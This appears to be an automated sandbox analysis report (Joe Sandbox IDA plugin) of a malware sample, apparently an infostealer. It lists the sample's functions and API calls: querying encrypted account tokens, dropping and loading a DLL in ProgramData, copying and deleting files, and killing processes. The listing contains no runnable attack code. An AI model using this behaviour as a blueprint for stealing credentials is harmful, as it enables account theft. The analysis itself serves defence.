String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: 54bbc055bd895e11bb851f8d9d2a4483ce957402e0e92944f4d833dadd4775e8
Instruction ID: 4a49d4f94df4545f6b6c213465717a0978895a4c9ddb63cfa8545cb9d90e10b7
Opcode Fuzzy Hash: 54bbc055bd895e11bb851f8d9d2a4483ce957402e0e92944f4d833dadd4775e8
Instruction Fuzzy Hash: 8EB113B1911108FBCF04FBA0ED9AEEE7379AF54301F404558F50666191EF386A49CBB2

Function 007908A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 00799850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,007908DC,C:\ProgramData\chrome.dll), ref: 00799871

Part of subcall function 0078A090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,?,007908E4), ref: 0078A098

StrCmpCA.SHLWAPI(00000000,00EDA7B0), ref: 00790922
StrCmpCA.SHLWAPI(00000000,00EDA770), ref: 00790B79
StrCmpCA.SHLWAPI(00000000,00EDA790), ref: 00790A0C

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00790C35

Strings

C:\ProgramData\chrome.dll, xrefs: 007908CD
C:\ProgramData\chrome.dll, xrefs: 00790C30

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CreateDeleteLibraryLoad
String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
API String ID: 585553867-663540502
Opcode ID: ed0d940b443c7a5f7361e031116bf04bd97d84607f55fc36fc4e4373e21a60d3
Instruction ID: 4015c354ad5fa8e45435788d10812333698d5aa5ab4a3641053269c2c508a5c8
Opcode Fuzzy Hash: ed0d940b443c7a5f7361e031116bf04bd97d84607f55fc36fc4e4373e21a60d3
Instruction Fuzzy Hash: E3A14371700208EFCF18EF64D996EAD777AEF95300F50816DE80A9F251DA349A05CBD6

Function 007949D0 Relevance: 10.6, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,00EE0C20,?,00000104,?,00000104,?,00000104,?,00000104), ref: 00794A2B

Part of subcall function 00798F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00798F9B

lstrcatA.KERNEL32(?,00000000), ref: 00794A51
lstrcatA.KERNEL32(?,?), ref: 00794A70
lstrcatA.KERNEL32(?,?), ref: 00794A84
lstrcatA.KERNEL32(?,00EDCC38), ref: 00794A97
lstrcatA.KERNEL32(?,?), ref: 00794AAB
lstrcatA.KERNEL32(?,00EE15E8), ref: 00794ABF

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 00798F20: GetFileAttributesA.KERNEL32(00000000,?,00790277,?,00000000,?,00000000,007A0DB2,007A0DAF), ref: 00798F2F

Part of subcall function 007947C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 007947D0
Part of subcall function 007947C0: HeapAlloc.KERNEL32(00000000), ref: 007947D7
Part of subcall function 007947C0: wsprintfA.USER32 ref: 007947F6
Part of subcall function 007947C0: FindFirstFileA.KERNEL32(?,?), ref: 0079480D

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: 2698abc0c017bf56d3b6b47b26ed8c81f6dd46146cdc430d8eaf28f57b759893
Instruction ID: ff981321d5882e54d9456a4774eedab262cc975d3eedac27513d6c273e091eb0
Opcode Fuzzy Hash: 2698abc0c017bf56d3b6b47b26ed8c81f6dd46146cdc430d8eaf28f57b759893
Instruction Fuzzy Hash: B83160F2900208A7DF14FBB0EC99EDD733CAB58701F444589B205A6051EE78A7C9CB95

Function 00784800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 0078483A
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00784851
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00784868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00784889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00784899

Strings

<, xrefs: 00784819

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 8cff7bb7df574972ab790ddc620d9971918e376cadbc6433fab9abd3a736f187
Instruction ID: 68812659551191e22169e34b7f6f14b7c9ae88369e5a0628820aa16f2203401a
Opcode Fuzzy Hash: 8cff7bb7df574972ab790ddc620d9971918e376cadbc6433fab9abd3a736f187
Instruction Fuzzy Hash: B52118B1D00209EBDF14DFA4E84AADD7B74BB44321F108225F925A7290EB746A0ACF95

Function 007999A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 007999C5
Process32First.KERNEL32(0078A056,00000128), ref: 007999D9
Process32Next.KERNEL32(0078A056,00000128), ref: 007999F2
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00799A4E
TerminateProcess.KERNEL32(00000000,00000000), ref: 00799A6C
CloseHandle.KERNEL32(00000000), ref: 00799A79
CloseHandle.KERNEL32(0078A056), ref: 00799A88

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 6ad5dad2209161d497f193e895eaa1addd57ba94864e712d41f67cbc01910410
Instruction ID: 5fbd8c3893e092053ac1ba16666587d77d30323fc19af1f05766da88884ee84b
Opcode Fuzzy Hash: 6ad5dad2209161d497f193e895eaa1addd57ba94864e712d41f67cbc01910410
Instruction Fuzzy Hash: 2921EA71904218ABDF25DFA5EC89BDDB7B9FB48301F1081C8E609A6290DB789E85CF50

Function 007978B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007978C4
HeapAlloc.KERNEL32(00000000), ref: 007978CB
RegOpenKeyExA.KERNEL32(80000002,00EDD468,00000000,00020119,00797849), ref: 007978EB
RegQueryValueExA.KERNEL32(00797849,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0079790A
RegCloseKey.ADVAPI32(00797849), ref: 00797914

Strings

CurrentBuildNumber, xrefs: 00797901

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 7c3129d99473f568762d03ba7e478358644849b204ae547b8c920edec3ef0f92
Instruction ID: 8b366494409c97edc8a4633f300506417326b24edb1ea9f912ec607c310d8fda
Opcode Fuzzy Hash: 7c3129d99473f568762d03ba7e478358644849b204ae547b8c920edec3ef0f92
Instruction Fuzzy Hash: 4B0112B5A44309BFEB00DBE4EC4AFAEB778FB44701F104594F605A7291EB746A01CB91

Function 0078A990 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

Part of subcall function 00798CF0: GetSystemTime.KERNEL32(?,00EDC770,007A05B6,?,?,?,?,?,?,?,?,?,007849B3,?,00000014), ref: 00798D16

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0078AA11
lstrlenA.KERNEL32(00000000,00000000), ref: 0078AB2F
lstrlenA.KERNEL32(00000000), ref: 0078ADEC

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Part of subcall function 0078A560: memcmp.MSVCRT(?,v20,00000003), ref: 0078A57D

DeleteFileA.KERNEL32(00000000), ref: 0078AE73

Strings

X, xrefs: 0078A9A6

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID: X
API String ID: 257331557-1209549073
Opcode ID: c88ae057c4974cf1176977919131d549562df2dacd78f6af244438e8fccd2c52
Instruction ID: 23e629159ba401144d90ef8795820acb66fdfab47e4f0c79929cdcc2cc8edf1a
Opcode Fuzzy Hash: c88ae057c4974cf1176977919131d549562df2dacd78f6af244438e8fccd2c52
Instruction Fuzzy Hash: 9FE1F5B2911108EBCF04FBA4ED66EEE7339AF54301F508559F11676091EF386A48CBB6

Function 0078A110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0078A13C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 0078A161
LocalAlloc.KERNEL32(00000040,?), ref: 0078A181
ReadFile.KERNEL32(000000FF,?,00000000,00790447,00000000), ref: 0078A1AA
LocalFree.KERNEL32(00790447), ref: 0078A1E0
CloseHandle.KERNEL32(000000FF), ref: 0078A1EA

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 26055063c9b19aa1a421ed96240c0e51060274f70ea6c9afe9d05a32752abe6d
Instruction ID: 21a0ecddb6ba8a1a395544f82529c8027fa1483d8697ed4a80fed9b97a38a486
Opcode Fuzzy Hash: 26055063c9b19aa1a421ed96240c0e51060274f70ea6c9afe9d05a32752abe6d
Instruction Fuzzy Hash: 6B312D74E40209EFDB14DFA4D889BEE77B5BF48311F108159F911A7290D778AA81CFA1

Function 0078D880 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

Part of subcall function 00798CF0: GetSystemTime.KERNEL32(?,00EDC770,007A05B6,?,?,?,?,?,?,?,?,?,007849B3,?,00000014), ref: 00798D16

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0078D901
lstrlenA.KERNEL32(00000000), ref: 0078DA9F
lstrlenA.KERNEL32(00000000), ref: 0078DAB3
DeleteFileA.KERNEL32(00000000), ref: 0078DB32

Strings

X, xrefs: 0078D896

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID: X
API String ID: 211194620-1209549073
Opcode ID: fbbeb11130f9358e55bc8de2b759dc72f1f6b7916586ccd504d540ee73cfe2e2
Instruction ID: 3eda56a842ade1419ebb93a9c37e9f47c1203b57ffdfc84565576d2f73dc92fe
Opcode Fuzzy Hash: fbbeb11130f9358e55bc8de2b759dc72f1f6b7916586ccd504d540ee73cfe2e2
Instruction Fuzzy Hash: 0581EFB2911108EBCF04FBA4ECAADEE7339BF55301F504558F51666091EF386A09CBB6

Function 00795190 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00798F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00798F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 007951CA
lstrcatA.KERNEL32(?,007A1058), ref: 007951E7
lstrcatA.KERNEL32(?,00EDA760), ref: 007951FB
lstrcatA.KERNEL32(?,007A105C), ref: 0079520D

Part of subcall function 00794B60: wsprintfA.USER32 ref: 00794B7C
Part of subcall function 00794B60: FindFirstFileA.KERNEL32(?,?), ref: 00794B93

Part of subcall function 00794B60: StrCmpCA.SHLWAPI(?,007A0FC4), ref: 00794BC1
Part of subcall function 00794B60: StrCmpCA.SHLWAPI(?,007A0FC8), ref: 00794BD7
Part of subcall function 00794B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00794DCD
Part of subcall function 00794B60: FindClose.KERNEL32(000000FF), ref: 00794DE2

Strings

cy, xrefs: 00795235, 0079526A, 0079528F, 00795238, 0079526D

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

